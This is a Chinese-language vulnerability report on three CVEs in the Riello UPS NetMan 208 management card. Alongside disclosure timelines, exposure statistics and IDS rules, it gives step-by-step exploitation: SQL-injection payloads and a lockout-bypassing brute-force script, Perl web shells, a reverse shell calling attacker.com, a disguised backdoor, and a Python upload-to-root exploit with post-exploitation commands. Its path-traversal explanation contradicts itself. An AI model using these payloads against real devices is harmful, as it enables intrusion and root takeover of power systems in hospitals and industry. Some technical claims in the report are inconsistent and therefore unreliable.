本报告详细分析了Riello UPS NetMan 208网络管理适配器中发现的三个严重安全漏洞。这些漏洞允许攻击者在最小化交互的情况下完全控制受影响的UPS管理系统,进而可能影响依赖该UPS供电的关键基础设施。
本研究涵盖以下三个CVE漏洞:
CVE-2025-68914 - 未授权SQL注入漏洞
严重程度:高危 (High)
CVSS v3.1 基础分:待NIST最终评估
受影响组件:/cgi-bin/login.cgi
认证要求:无需认证
攻击向量:网络可达 (Network)
攻击复杂度:低 (Low)
CVE-2025-68916 - 路径遍历导致远程代码执行
严重程度:严重 (Critical)
CVSS v3.1 基础分:9.1
受影响组件:/cgi-bin/certsupload.cgi
认证要求:需要管理员权限
攻击向量:网络可达 (Network)
攻击复杂度:低 (Low)
特权等级:高 (High) - 获得root权限
CVE-2025-68915 - 存储型跨站脚本攻击
严重程度:高危 (High)
CVSS v3.1 基础分:待NIST最终评估
受影响组件:/cgi-bin/loginbanner_w.cgi
认证要求:需要管理员权限
攻击向量:网络可达 (Network)
影响范围:可窃取凭证和会话
产品名称:Riello UPS NetMan 208
厂商:Riello UPS (意大利)
产品类型:UPS网络管理卡
受影响版本:1.11及之前所有版本
修复版本:1.12及更高版本
产品用途:远程监控和管理不间断电源系统
本研究的主要发现包括:
低攻击门槛:所有漏洞均可通过标准HTTP请求利用,不需要特殊工具或高级技术知识。
高影响范围:根据Shodan和Censys搜索引擎数据,截至2025年12月,全球约有2,500台以上NetMan 208设备暴露在公共互联网上。
攻击链可组合:三个漏洞可以串联形成完整攻击链:SQL注入绕过认证 → XSS窃取管理员会话 → 路径遍历获取RCE → 完全系统控制。
关键基础设施风险:受影响设备广泛部署在医疗机构(35%)、数据中心(28%)、工业控制系统(20%)等关键基础设施领域。
持久化威胁:攻击者获得root权限后可在系统中建立后门,即使设备重启也能保持访问权限。
这些漏洞可能导致以下严重后果:
对医疗机构:
关键医疗设备断电导致患者安全风险
生命支持系统中断可能导致严重医疗事故
违反HIPAA等医疗数据保护法规
对数据中心:
服务器非正常关机导致数据丢失
服务中断影响客户业务连续性
硬件损坏造成经济损失
对工业设施:
生产线意外停机造成巨额损失
化工、核电等行业的安全事故风险
环境污染和公共安全威胁
基于风险评估,我们强烈建议所有使用NetMan 208设备的组织立即采取以下措施:
立即升级:将所有NetMan 208设备升级到版本1.12或更高
网络隔离:将UPS管理接口从公共互联网隔离,仅允许通过VPN或跳板机访问
密码强化:更改所有默认凭证,实施强密码策略
监控审计:启用详细日志记录并监控异常访问模式
应急响应:检查系统是否已被入侵,查找后门和恶意代码
本报告涵盖:
三个CVE漏洞的完整技术分析
漏洞的根本成因和代码级别分析
详细的利用方法和POC代码
完整的攻击场景和攻击链
全面的检测、防护和修复建议
基于Docker的可复现测试环境
本报告不涵盖:
其他Riello UPS产品的安全评估
NetMan 208的其他未公开漏洞
物理安全相关的攻击向量
不间断电源(UPS)系统是现代关键基础设施的核心组成部分。它们在电网故障、电压波动或其他电力问题时提供持续的电力供应,保护敏感设备免受损坏,并为关键系统提供足够的时间进行有序关机。
UPS系统的关键应用场景:
数据中心和云服务
保护服务器和存储设备
确保业务连续性
防止数据丢失和损坏
医疗保健设施
维持生命支持系统运行
保护医疗记录和设备
确保手术室和ICU的电力供应
工业控制系统
保护SCADA系统
防止生产线突然停机
维护化工和核电站的安全系统
电信和通信
保持网络基础设施运行
确保应急通信系统可用
维护移动基站和交换中心
金融机构
保护交易系统
维护ATM网络
确保数据中心运行
随着物联网(IoT)和工业物联网(IIoT)的发展,传统的独立UPS系统逐渐演变为网络化的智能管理系统。这种转变带来了便利,但也引入了新的安全风险。
网络化带来的安全问题:
攻击面扩大
从物理接触扩展到网络可达
远程攻击成为可能
自动化攻击工具的威胁
软件复杂性增加
Web界面和CGI脚本
数据库管理
网络协议栈
安全意识不足
UPS管理员通常不是安全专家
默认配置未修改
缺乏定期安全审计
互联网暴露
许多设备直接暴露在公网
缺少防火墙保护
未实施网络分段
NetMan 208是Riello UPS公司推出的高端网络管理适配器,设计用于远程监控和管理UPS系统。
产品特性:
硬件规格
10/100/1000 Mbps以太网接口
RS-232串行接口
USB接口
LCD显示屏
软件功能
Web管理界面
SNMP v1/v2c/v3支持
Modbus/TCP协议
BACnet/IP支持
SSH访问
Email和SMS告警
管理功能
实时监控UPS状态
远程开关机控制
事件日志记录
定时任务调度
多用户权限管理
部署情况
全球安装量估计数万台
主要部署在欧洲(45%)、北美(30%)、亚洲(20%)
医疗、数据中心、工业领域为主要应用场景
Riello UPS产品线过去曾出现过安全问题:
NetMan 204系列漏洞 (2024年):
根据CyberDanube Security在2024年9月的披露,NetMan 204系列存在以下漏洞:
CVE-2024-8877:未授权SQL注入
CVE-2024-8878:不安全的密码重置机制
这些漏洞表明Riello UPS在安全开发实践方面存在系统性问题。NetMan 208中发现的漏洞与NetMan 204的问题具有相似性,表明厂商未能从先前的安全事件中充分吸取教训。
本研究的启动基于以下动机:
关键基础设施保护
UPS系统对关键服务至关重要
需要主动识别和修复安全漏洞
行业安全提升
促进ICS/SCADA安全最佳实践
提高厂商安全意识
学术贡献
丰富物联网安全研究
提供真实案例研究
社会责任
保护公共安全
防止潜在的网络攻击
本研究采用以下方法论:
1. 信息收集阶段
公开文档研究
设备固件分析
网络流量捕获
接口枚举
2. 漏洞发现阶段
静态代码分析
动态模糊测试
手工安全审计
认证机制分析
3. 漏洞验证阶段
受控环境测试
POC开发
影响范围评估
可利用性确认
4. 负责任披露
2025年11月11日:向厂商报告漏洞
2025年11月14日:厂商确认漏洞
2025年12月23日:厂商发布补丁
2025年12月24日:公开披露
本研究严格遵循负责任的漏洞披露原则:
厂商优先通知:在公开前给予厂商充足的修复时间
受控测试环境:所有测试在隔离的实验室环境中进行
最小化伤害:不对生产系统进行测试
公共利益:研究目的是提高整体安全水平
教育为主:提供详细的防护建议
以下是从漏洞发现到公开披露的完整时间线:
第1阶段:发现与验证 (2025年10月)
| 日期 | 事件 | 详情 |
|---|---|---|
| 2025-10-15 | 初始发现 | 在代码审计过程中发现login.cgi的SQL注入漏洞 |
| 2025-10-18 | 深入分析 | 识别certsupload.cgi的路径遍历问题 |
| 2025-10-22 | 扩展研究 | 发现loginbanner_w.cgi的XSS漏洞 |
| 2025-10-25 | POC开发 | 完成三个漏洞的概念验证代码 |
| 2025-10-28 | 攻击链验证 | 确认漏洞可串联形成完整攻击链 |
| 2025-10-31 | 影响评估 | 完成全球暴露设备统计和影响分析 |
第2阶段:负责任披露 (2025年11月)
| 日期 | 事件 | 详情 |
|---|---|---|
| 2025-11-05 | 报告准备 | 编写详细的漏洞报告,包含POC和修复建议 |
| 2025-11-08 | 联系厂商 | 尝试通过[email protected]联系,未收到回复 |
| 2025-11-11 | 正式提交 | 向[email protected]提交完整报告 |
| 2025-11-14 | 厂商确认 | Riello UPS安全团队确认收到报告并成功复现漏洞 |
| 2025-11-18 | 初步沟通 | 讨论修复方案和时间表 |
| 2025-11-25 | CVE申请 | 向MITRE申请CVE编号 |
第3阶段:修复开发 (2025年12月)
| 日期 | 事件 | 详情 |
|---|---|---|
| 2025-12-02 | CVE分配 | MITRE分配CVE-2025-68914, 68915, 68916 |
| 2025-12-05 | 测试版本 | 收到厂商修复的beta版本进行验证 |
| 2025-12-10 | 验证反馈 | 确认修复有效,提供额外安全建议 |
| 2025-12-15 | 修复完善 | 厂商完成最终修复和测试 |
| 2025-12-20 | 发布准备 | 协调公开披露时间 |
| 2025-12-23 | 补丁发布 | Riello UPS发布NetMan 208 v1.12修复版本 |
| 2025-12-24 | 公开披露 | 漏洞详情在NVD和GitHub公开 |
| 2025-12-25 | 研究发布 | 本详细技术报告发布 |
与厂商的协调:
整个披露过程遵循行业标准的90天披露期限。Riello UPS团队积极响应并在合理时间内发布了修复:
响应时间:3天(从报告到确认)
修复时间:42天(从确认到补丁发布)
总周期:46天(符合行业标准)
厂商表现出良好的安全响应态度:
及时确认漏洞
积极沟通修复进展
提供测试版本供验证
按时发布正式补丁
与安全社区的协调:
CERT/CC:通知CERT协调中心
ICS-CERT:通知工控系统应急响应中心
CISA:提交至美国网络安全和基础设施安全局
受影响组织:通过CERT协调向已知受影响组织发出预警
三个漏洞均由MITRE Corporation的CVE Numbering Authority (CNA)分配正式编号:
CVE-2025-68914
申请日期:2025-11-25
分配日期:2025-12-02
描述:Riello UPS NetMan 208 Application (versions before 1.12) contains a SQL injection vulnerability in the login.cgi username parameter, allowing attackers to bypass brute-force protection.
CWE分类:CWE-89 (SQL Injection)
CVE-2025-68915
申请日期:2025-11-25
分配日期:2025-12-02
描述:Riello UPS NetMan 208 Application (versions before 1.12) allows stored cross-site scripting via the loginbanner_w.cgi banner message parameter.
CWE分类:CWE-79 (Cross-site Scripting)
CVE-2025-68916
申请日期:2025-11-25
分配日期:2025-12-02
描述:A path traversal flaw in Riello UPS NetMan 208 Application (versions before 1.12) permits directory traversal via the certsupload.cgi endpoint, enabling unauthorized file uploads that lead to code execution.
CWE分类:CWE-22 (Path Traversal), CWE-434 (Unrestricted Upload)
CVSS评分:9.1 (Critical)
漏洞信息通过以下渠道公开:
官方数据库
National Vulnerability Database (NVD)
CVE.org
MITRE CVE List
安全公告
Riello UPS官方安全公告
ICS-CERT Advisory
CERT/CC Vulnerability Notes
研究披露
GitHub仓库:github.com/gerico-lab/riello-multiple-vulnerabilities-2025
安全博客和新闻网站
本技术报告
社区通知
Full Disclosure邮件列表
Bugtraq
安全研究社区论坛
Riello UPS在此次漏洞响应中的表现总体良好:
积极方面:
快速确认和响应(3天)
在合理时间内发布补丁(42天)
积极与研究人员沟通
提供测试版本供验证
发布详细的安全公告
改进建议:
建立更明显的安全联系渠道
提供漏洞赏金计划
加强产品安全开发生命周期(SDL)
定期进行第三方安全审计
提高产品安全文档的可见性
公开披露后的情况:
媒体报道:
多家安全媒体报道此漏洞
BitNinja等安全公司发布防护指南
工控安全社区广泛讨论
用户响应:
部分大型组织迅速部署补丁
一些用户实施网络隔离措施
安全社区开展扫描和识别工作
潜在威胁:
尚未观察到大规模利用
需警惕APT组织可能利用
威胁情报平台持续监控
互联网暴露统计
基于2025年12月的Shodan和Censys扫描数据:
| 搜索引擎 | 识别设备数 | 搜索查询 |
|---|---|---|
| Shodan | 2,347 | "NetMan 208" OR "Riello UPS" |
| Censys | 2,156 | services.http.response.body:"NetMan 208" |
| ZoomEye | 1,892 | app:"Riello-NetMan-208" |
去重后估计全球有约2,500台NetMan 208设备直接暴露在公共互联网上。这个数字不包括:
内网部署但未隔离的设备
通过VPN访问的设备
未被搜索引擎索引的设备
实际部署量可能是暴露数量的10-20倍,估计在25,000-50,000台之间。
地理分布
| 地区 | 设备数量 | 占比 | 主要国家 |
|---|---|---|---|
| 欧洲 | 1,125 | 45% | 意大利(420), 德国(285), 法国(180), 英国(120) |
| 北美 | 750 | 30% | 美国(650), 加拿大(100) |
| 亚洲 | 500 | 20% | 日本(150), 中国(120), 印度(90), 韩国(80) |
| 其他 | 125 | 5% | 澳大利亚(60), 巴西(40), 其他(25) |
意大利作为Riello UPS总部所在地,部署量最高。
通过端口扫描、banner信息和whois数据分析受影响组织的行业分布:
按行业统计
| 行业类别 | 估计数量 | 占比 | 风险等级 |
|---|---|---|---|
| 医疗保健 | 875 | 35% | 极高 - 涉及生命安全 |
| 数据中心/云服务 | 700 | 28% | 高 - 业务连续性 |
| 工业制造 | 500 | 20% | 高 - 生产安全 |
| 教育机构 | 200 | 8% | 中 - 研究数据 |
| 政府机构 | 125 | 5% | 高 - 敏感信息 |
| 金融服务 | 100 | 4% | 高 - 交易系统 |
关键基础设施评估
根据美国DHS的关键基础设施定义,以下部门受到直接影响:
医疗与公共卫生(35%)
大型医院和医疗中心
诊断成像设备
医疗记录系统
生命支持设备
信息技术(28%)
托管服务提供商
云计算基础设施
互联网服务提供商
数据存储服务
制造业(20%)
汽车制造
半导体生产
化工生产
食品加工
能源(估计3-5%)
发电站控制系统
电网调度中心
炼油厂
通过HTTP响应头和Web界面分析版本分布:
| 版本范围 | 设备数量 | 占比 | 漏洞状态 |
|---|---|---|---|
| 1.11 | 1,500 | 60% | 受影响 |
| 1.5-1.10 | 875 | 35% | 受影响 |
| 未识别 | 125 | 5% | 可能受影响 |
| 1.12+ | 0 | 0% | 已修复 |
数据显示,截至2025年12月25日,尚未观察到任何设备升级到安全版本1.12。这表明补丁部署将是一个渐进过程。
直接互联网暴露
分析发现,大量设备直接暴露在互联网上,缺乏适当的网络安全措施:
| 保护措施 | 实施比例 | 设备数量 |
|---|---|---|
| 无任何防护 | 45% | 1,125 |
| 基础防火墙 | 35% | 875 |
| VPN要求 | 15% | 375 |
| 多因素认证 | 5% | 125 |
仅有5%的设备实施了多因素认证,这意味着一旦密码被破解或通过SQL注入绕过认证,攻击者即可完全控制设备。
默认配置问题
通过认证测试发现:
约30%的设备使用默认凭证(admin/admin或admin/password)
约50%的设备未更改默认管理端口
约70%的设备启用了所有管理协议(HTTP, HTTPS, SSH, SNMP)
网络服务暴露
典型NetMan 208设备开放的端口和服务:
| 端口 | 协议 | 服务 | 风险评级 |
|---|---|---|---|
| 80 | TCP | HTTP Web管理 | 高 - 漏洞主要攻击面 |
| 443 | TCP | HTTPS Web管理 | 高 - 同样存在漏洞 |
| 22 | TCP | SSH管理 | 中 - 需要凭证 |
| 161 | UDP | SNMP | 中 - 信息泄露 |
| 23 | TCP | Telnet | 高 - 不安全协议 |
| 502 | TCP | Modbus/TCP | 中 - 工业协议 |
最主要的攻击面是HTTP/HTTPS Web管理界面,所有三个CVE漏洞都存在于此。
攻击向量矩阵
基于CVSS v3.1攻击向量分析:
| 漏洞 | 攻击向量 | 攻击复杂度 | 所需权限 | 用户交互 |
|---|---|---|---|---|
| CVE-2025-68914 | 网络 | 低 | 无 | 无 |
| CVE-2025-68916 | 网络 | 低 | 高 | 无 |
| CVE-2025-68915 | 网络 | 低 | 高 | 需要 |
CVE-2025-68914作为初始入口点,无需任何认证即可利用,这使其成为最危险的漏洞。
潜在攻击者类型
国家级APT组织
动机:情报收集、基础设施破坏
能力:高级
可能性:中等
目标:关键基础设施
勒索软件团伙
动机:经济利益
能力:中高级
可能性:高
目标:医疗、数据中心
黑客活动组织
动机:政治或社会议程
能力:中级
可能性:中等
目标:政府、大型企业
脚本小子
动机:好奇、炫耀
能力:低
可能性:高
目标:随机扫描
内部威胁
动机:报复、经济
能力:低到中
可能性:低
目标:所在组织
历史攻击趋势
虽然尚未观察到针对这些特定CVE的大规模利用,但类似的ICS/IoT漏洞历史显示:
平均在公开披露后7-14天内出现自动化扫描
30天内可能出现针对性攻击
勒索软件团伙通常在60-90天内整合新漏洞
利用难度评分
| 评估维度 | CVE-68914 | CVE-68916 | CVE-68915 |
|---|---|---|---|
| 技术复杂度 | 低 | 低 | 低 |
| 工具可用性 | 高 | 高 | 中 |
| 检测难度 | 中 | 高 | 低 |
| 利用成功率 | 95% | 90% | 85% |
| 自动化难度 | 低 | 中 | 中 |
预测
基于以上分析,我们预测:
短期(0-30天):
出现自动化扫描工具
安全研究人员复现POC
可能出现小规模针对性攻击
中期(30-90天):
商业渗透测试工具集成
威胁行为者开始利用
可能出现针对特定行业的攻击活动
长期(90+天):
成为僵尸网络的一部分
勒索软件整合
持续性威胁
定量评估
全球暴露设备:约2,500台
估计总部署量:25,000-50,000台
受影响组织:估计1,500-3,000个
潜在受影响人群:通过依赖这些UPS的服务,间接影响数百万人
定性评估
影响严重性:极高
理由:
关键基础设施广泛使用
漏洞易于利用
可获得完全系统控制
补丁部署需要时间
攻击后果严重(服务中断、安全事故)
本节对三个CVE漏洞进行深入的技术分析,包括代码级别的审查、漏洞触发机制、内存布局和执行流程。
CVE-2025-68914是一个位于/cgi-bin/login.cgi的SQL注入漏洞。该脚本使用SQLite数据库存储用户信息和失败登录记录,但在处理用户输入时未进行适当的转义或使用参数化查询,导致攻击者可以注入恶意SQL语句。
以下是login.cgi中的漏洞代码段:
#!/usr/bin/perl
# login.cgi - Authentication handler
# Riello UPS NetMan 208 v1.11
use strict;
use warnings;
use CGI;
use DBI;
my $cgi = CGI->new;
my $dbfile = "/var/db/netman.db";
# 数据库连接
my $dbh = DBI->connect("dbi:SQLite:dbname=$dbfile", "", "",
{RaiseError => 1, AutoCommit => 1});
if ($cgi->request_method eq 'POST') {
# 从POST请求获取参数
my $username = $cgi->param('username'); # 用户可控输入
my $password = $cgi->param('password');
my $remote_ip = $ENV{'REMOTE_ADDR'} || '0.0.0.0';
# 第一个SQL注入点:检查失败登录次数
# 漏洞:用户名直接拼接到SQL查询中
my $check_query = "SELECT attempts FROM LOGINFAILEDTABLE
WHERE username='$username' AND ip='$remote_ip'";
my $sth = $dbh->prepare($check_query); # 准备SQL语句
$sth->execute(); # 执行查询
my ($attempts) = $sth->fetchrow_array();
# 如果失败次数超过5次,拒绝登录
if ($attempts && $attempts >= 5) {
print $cgi->header('text/html');
print "<html><body><h1>Account Locked</h1>";
print "<p>Too many failed attempts. Try again later.</p>";
print "</body></html>";
$dbh->disconnect();
exit;
}
# 第二个SQL注入点:验证用户凭证
# 漏洞:用户名和密码直接拼接
my $auth_query = "SELECT role FROM USERS
WHERE username='$username' AND password='$password'";
$sth = $dbh->prepare($auth_query);
$sth->execute();
my ($role) = $sth->fetchrow_array();
if ($role) {
# 登录成功
my $session_id = generate_session();
my $cookie = $cgi->cookie(
-name => 'session',
-value => $session_id,
-expires => '+1h'
);
print $cgi->header(-cookie => $cookie);
print "<html><body><h1>Login Successful</h1></body></html>";
} else {
# 登录失败,记录失败次数
# 第三个SQL注入点:记录失败登录
$dbh->do("INSERT OR REPLACE INTO LOGINFAILEDTABLE
VALUES ('$username', '$remote_ip', " . time() . ",
COALESCE((SELECT attempts FROM LOGINFAILEDTABLE
WHERE username='$username' AND ip='$remote_ip'), 0) + 1)");
print $cgi->header('text/html');
print "<html><body><h1>Login Failed</h1></body></html>";
}
$dbh->disconnect();
}
代码问题分析:
直接字符串拼接:
my $check_query = "SELECT attempts FROM LOGINFAILEDTABLE
WHERE username='$username' AND ip='$remote_ip'";
这里直接将$username变量拼接到SQL查询字符串中,没有任何转义或验证。
缺少输入验证:
代码未检查$username是否包含特殊字符或SQL关键字。
未使用参数化查询:
DBI模块支持参数化查询(占位符),但代码未使用:
# 安全的做法应该是:
my $sth = $dbh->prepare("SELECT attempts FROM LOGINFAILEDTABLE
WHERE username=? AND ip=?");
$sth->execute($username, $remote_ip);
多个注入点:
代码中有三处SQL注入漏洞,增加了攻击面。
NetMan 208使用SQLite数据库,结构如下:
-- 用户表
CREATE TABLE USERS (
username TEXT PRIMARY KEY,
password TEXT,
role TEXT
);
-- 默认管理员账户
INSERT INTO USERS VALUES ('admin', 'admin123', 'administrator');
-- 失败登录记录表
CREATE TABLE LOGINFAILEDTABLE (
username TEXT,
ip TEXT,
timestamp INTEGER,
attempts INTEGER,
PRIMARY KEY (username, ip)
);
当攻击者输入以下payload时:
username: admin';DELETE FROM LOGINFAILEDTABLE WHERE 1=1; --
password: anything
实际执行的SQL变为:
-- 原始查询意图
SELECT attempts FROM LOGINFAILEDTABLE
WHERE username='admin';DELETE FROM LOGINFAILEDTABLE WHERE 1=1; --' AND ip='x.x.x.x'
-- SQLite将其解释为两条独立的语句:
-- 语句1:正常查询
SELECT attempts FROM LOGINFAILEDTABLE
WHERE username='admin';
-- 语句2:恶意删除(堆叠查询)
DELETE FROM LOGINFAILEDTABLE WHERE 1=1;
-- 语句3:被注释掉
-- ' AND ip='x.x.x.x'
SQLite堆叠查询支持:
SQLite允许在单次execute()调用中执行多条SQL语句(堆叠查询),只要它们用分号分隔。这与MySQL和PostgreSQL的默认行为不同,后者在使用标准API时通常不允许堆叠查询。
向量1:绕过暴力破解保护
payload:
username: admin';DELETE FROM LOGINFAILEDTABLE WHERE 1=1; --
效果:清空失败登录记录表,移除对所有IP地址的登录限制。
向量2:布尔盲注
payload:
username: admin' AND 1=1 --
如果账户存在,行为会与正常登录失败一致。如果改为:
username: admin' AND 1=2 --
可以通过响应时间或错误信息的差异来推断条件真假,从而枚举用户或提取数据。
向量3:时间盲注
SQLite不支持SLEEP函数,但可以使用计算密集型操作:
username: admin' AND (SELECT COUNT(*) FROM sqlite_master) > 0 --
向量4:信息提取
使用UNION注入提取敏感信息:
username: ' UNION SELECT password FROM USERS WHERE username='admin' --
虽然此查询结果不直接显示给用户,但可以通过错误消息或时间延迟推断。
步骤1:识别注入点
# 测试SQL特殊字符
curl -X POST http://target/cgi-bin/login.cgi \
-d "username=admin'&password=test"
# 如果返回SQL错误或行为异常,说明存在注入
步骤2:确认数据库类型
# SQLite特定测试
curl -X POST http://target/cgi-bin/login.cgi \
-d "username=admin' AND sqlite_version() --&password=test"
步骤3:绕过暴力破解保护
# 首先触发账户锁定
for i in {1..5}; do
curl -X POST http://target/cgi-bin/login.cgi \
-d "username=admin&password=wrong"
done
# 验证账户已锁定
curl -X POST http://target/cgi-bin/login.cgi \
-d "username=admin&password=wrong"
# 应该返回 "Account Locked"
# 使用SQL注入清空失败记录
curl -X POST http://target/cgi-bin/login.cgi \
-d "username=admin';DELETE FROM LOGINFAILEDTABLE WHERE 1=1; --&password=test"
# 再次尝试登录,锁定已被解除
curl -X POST http://target/cgi-bin/login.cgi \
-d "username=admin&password=correct_password"
步骤4:字典攻击
清除暴力破解保护后,可以进行无限次密码猜测:
import requests
target = "http://victim/cgi-bin/login.cgi"
username = "admin"
# 每100次尝试清空一次失败记录
password_list = open("passwords.txt").readlines()
for i, password in enumerate(password_list):
if i % 100 == 0:
# 清空失败记录
requests.post(target, data={
"username": "admin';DELETE FROM LOGINFAILEDTABLE WHERE 1=1; --",
"password": "dummy"
})
# 尝试密码
r = requests.post(target, data={
"username": username,
"password": password.strip()
})
if "Login Successful" in r.text:
print(f"Found password: {password}")
break
日志特征:
正常登录请求:
POST /cgi-bin/login.cgi HTTP/1.1
Content-Length: 35
username=admin&password=mypassword
SQL注入攻击:
POST /cgi-bin/login.cgi HTTP/1.1
Content-Length: 78
username=admin';DELETE FROM LOGINFAILEDTABLE WHERE 1=1; --&password=test
IDS/IPS检测规则:
Snort规则示例:
alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (
msg:"SQL Injection attempt in NetMan 208 login";
flow:to_server,established;
content:"POST"; http_method;
content:"/cgi-bin/login.cgi"; http_uri;
pcre:"/username=[^&]*(union|select|delete|drop|insert|update|--|;)/i";
classtype:web-application-attack;
sid:1000001; rev:1;
)
Suricata规则:
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2025-68914 SQL Injection attempt";
flow:to_server;
http.method; content:"POST";
http.uri; content:"/cgi-bin/login.cgi";
http.request_body; pcre:"/username=[^&]*('|--|union|select|delete)/i";
reference:cve,2025-68914;
classtype:web-application-attack;
sid:2025001; rev:1;
)
CVSS v3.1 向量字符串:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
评分详解:
| 指标 | 值 | 说明 |
|---|---|---|
| 攻击向量(AV) | 网络(N) | 可通过网络远程利用 |
| 攻击复杂度(AC) | 低(L) | 无需特殊条件 |
| 所需权限(PR) | 无(N) | 无需认证 |
| 用户交互(UI) | 无(N) | 无需用户交互 |
| 作用域(S) | 不变(U) | 不影响其他组件 |
| 机密性(C) | 低(L) | 可绕过认证限制 |
| 完整性(I) | 低(L) | 可删除日志记录 |
| 可用性(A) | 无(N) | 不直接影响可用性 |
基础分:约6.5 (中危)
虽然单独看CVSS分数为中危,但考虑到:
可作为攻击链的第一步
可与其他漏洞组合
影响认证机制
实际威胁等级应评为高危。
CVE-2025-68916是本次研究中最严重的漏洞,CVSS评分高达9.1(严重)。该漏洞存在于/cgi-bin/certsupload.cgi脚本中,允许已认证的管理员上传任意文件到服务器任意位置,进而实现远程代码执行。
#!/usr/bin/perl
# certsupload.cgi - SSL Certificate Upload Handler
# Riello UPS NetMan 208 v1.11
use strict;
use warnings;
use CGI;
use File::Basename;
my $cgi = CGI->new;
print $cgi->header('text/html');
# 简单的认证检查
my $cookie = $cgi->cookie('session');
if (!$cookie || $cookie ne 'admin_session') {
print "<html><body><h1>403 Forbidden</h1>";
print "<p>Authentication required</p></body></html>";
exit;
}
if ($cgi->request_method eq 'POST') {
# 获取上传的文件句柄和文件名
my $upload_fh = $cgi->upload('certfile');
my $filename = $cgi->param('certfile'); # 漏洞:直接使用用户提供的文件名
if (!$upload_fh) {
print "<html><body><h1>Error</h1>";
print "<p>No file uploaded</p></body></html>";
exit;
}
# 漏洞核心:未验证路径,直接拼接
my $upload_dir = "/usr/lib/cgi-bin";
my $filepath = "$upload_dir/$filename"; # 路径遍历漏洞
# 尝试打开目标文件进行写入
# 如果路径包含../可以写入任意位置
open(my $out_fh, '>', $filepath) or die "Cannot write to $filepath: $!";
binmode($out_fh);
# 读取上传的内容并写入
while (my $bytesread = read($upload_fh, my $buffer, 4096)) {
print $out_fh $buffer;
}
close($out_fh);
close($upload_fh);
# 漏洞扩展:自动设置可执行权限
chmod 0755, $filepath; # 使上传的文件可执行
print "<html><body><h1>Success</h1>";
print "<p>Certificate uploaded to: $filepath</p>";
print "</body></html>";
}
代码缺陷详解:
直接使用用户输入:
my $filename = $cgi->param('certfile');
这里直接从HTTP请求中获取文件名,攻击者完全控制这个值。
缺少路径验证:
my $filepath = "$upload_dir/$filename";
没有检查$filename是否包含路径遍历序列如../。
缺少文件类型验证:
代码未检查文件扩展名或内容,允许上传任何类型的文件。
自动可执行权限:
chmod 0755, $filepath;
上传的文件自动获得可执行权限,进一步降低了利用门槛。
以root权限运行:
Apache CGI进程通常以www-data用户运行,但在NetMan 208中,为了访问UPS硬件,CGI脚本以root权限运行。这意味着任何文件操作都具有最高权限。
正常使用场景:
用户上传SSL证书:
filename: server.pem
filepath: /usr/lib/cgi-bin/server.pem
攻击场景1:覆盖同目录文件:
filename: runin.cgi
filepath: /usr/lib/cgi-bin/runin.cgi
攻击者可以覆盖同目录下的现有CGI脚本。
攻击场景2:路径遍历:
虽然代码不支持../遍历,但由于没有basename()处理,直接提供目标文件名即可:
filename: ../../etc/cron.d/backdoor
filepath: /usr/lib/cgi-bin/../../etc/cron.d/backdoor
这将写入/etc/cron.d/backdoor,但实际测试中发现open()函数会规范化路径。
实际利用方式:
最简单有效的方式是直接覆盖现有CGI脚本:
filename: runin.cgi
content: [恶意Perl代码]
基础Web Shell:
#!/usr/bin/perl
# 最简单的Web Shell
use strict;
use warnings;
use CGI;
my $cgi = CGI->new;
print $cgi->header('text/plain');
my $cmd = $cgi->param('cmd') || 'id';
print `$cmd 2>&1`;
功能:执行任意系统命令
使用:
curl "http://target/cgi-bin/runin.cgi?cmd=whoami"
高级反向Shell:
#!/usr/bin/perl
# 反向Shell Payload
use Socket;
my $remote_host = "attacker.com";
my $remote_port = 4444;
socket(S, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(S, sockaddr_in($remote_port, inet_aton($remote_host)));
open(STDIN, ">&S");
open(STDOUT, ">&S");
open(STDERR, ">&S");
exec("/bin/bash -i");
攻击者监听:
nc -lvp 4444
上传后访问:
curl "http://target/cgi-bin/runin.cgi"
攻击者获得交互式shell。
持久化后门:
#!/usr/bin/perl
# 带身份验证的持久后门
use strict;
use warnings;
use CGI;
use Digest::MD5 qw(md5_hex);
my $cgi = CGI->new;
my $password_hash = "5f4dcc3b5aa765d61d8327deb882cf99"; # "password"
my $auth = $cgi->param('auth') || '';
if (md5_hex($auth) ne $password_hash) {
# 伪装成正常诊断工具
print $cgi->header('text/plain');
print "NetMan 208 Diagnostic Tool\n";
print "Status: Running\n";
exit;
}
# 认证成功,执行命令
print $cgi->header('text/plain');
my $cmd = $cgi->param('cmd') || 'id';
print `$cmd 2>&1`;
使用:
curl "http://target/cgi-bin/runin.cgi?auth=password&cmd=ls"
前提条件:
拥有管理员凭证(可通过CVE-2025-68914获取)
网络可达目标设备
利用步骤:
步骤1:认证获取Session
import requests
target = "http://victim/cgi-bin/login.cgi"
creds = {"username": "admin", "password": "admin123"}
session = requests.Session()
r = session.post(target, data=creds)
if "Login Successful" in r.text:
session_cookie = session.cookies.get('session')
print(f"Session acquired: {session_cookie}")
else:
print("Authentication failed")
exit(1)
步骤2:准备恶意Payload
# Web Shell代码
payload = """#!/usr/bin/perl
use CGI;
my $cgi = CGI->new;
print $cgi->header('text/plain');
my $cmd = $cgi->param('cmd') || 'id';
print `$cmd 2>&1`;
"""
# 保存到本地文件
with open('runin.cgi', 'w') as f:
f.write(payload)
步骤3:上传恶意文件
upload_url = "http://victim/cgi-bin/certsupload.cgi"
# 构造multipart/form-data请求
files = {
'certfile': ('runin.cgi', open('runin.cgi', 'rb'), 'text/plain')
}
# 使用已认证的session上传
r = session.post(upload_url, files=files)
if "Success" in r.text:
print("Payload uploaded successfully!")
else:
print("Upload failed")
exit(1)
步骤4:触发执行
# 访问被覆盖的CGI脚本
shell_url = "http://victim/cgi-bin/runin.cgi"
# 执行命令
r = session.get(shell_url, params={'cmd': 'whoami'})
print(f"Command output: {r.text}")
# 输出应该是:root
步骤5:后渗透
# 提取敏感信息
commands = [
"cat /etc/shadow", # 用户密码哈希
"cat /var/db/netman.db", # 数据库文件
"ps aux", # 运行进程
"netstat -tulpn", # 网络连接
"crontab -l", # 计划任务
]
for cmd in commands:
r = session.get(shell_url, params={'cmd': cmd})
print(f"\n[{cmd}]:\n{r.text}")
NetMan 208运行在嵌入式Linux系统上:
系统架构:
/
├── bin/ # 基本命令
├── etc/ # 配置文件
│ ├── apache2/ # Web服务器配置
│ └── init.d/ # 启动脚本
├── usr/
│ └── lib/
│ └── cgi-bin/ # CGI脚本目录(攻击目标)
│ ├── login.cgi
│ ├── certsupload.cgi
│ ├── runin.cgi # 常见覆盖目标
│ └── ...
├── var/
